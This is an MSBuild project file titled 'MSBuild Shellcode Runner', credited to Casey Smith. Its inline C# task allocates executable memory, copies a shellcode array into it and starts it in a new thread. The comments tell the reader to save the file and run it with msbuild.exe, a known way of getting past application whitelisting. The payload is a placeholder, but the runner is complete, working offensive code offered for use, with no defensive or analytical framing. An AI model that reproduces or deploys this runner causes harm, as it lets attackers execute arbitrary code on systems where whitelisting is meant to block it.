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MSBuild Shellcode Runner
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[] { INSERT_SHELLCODE_HERE };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
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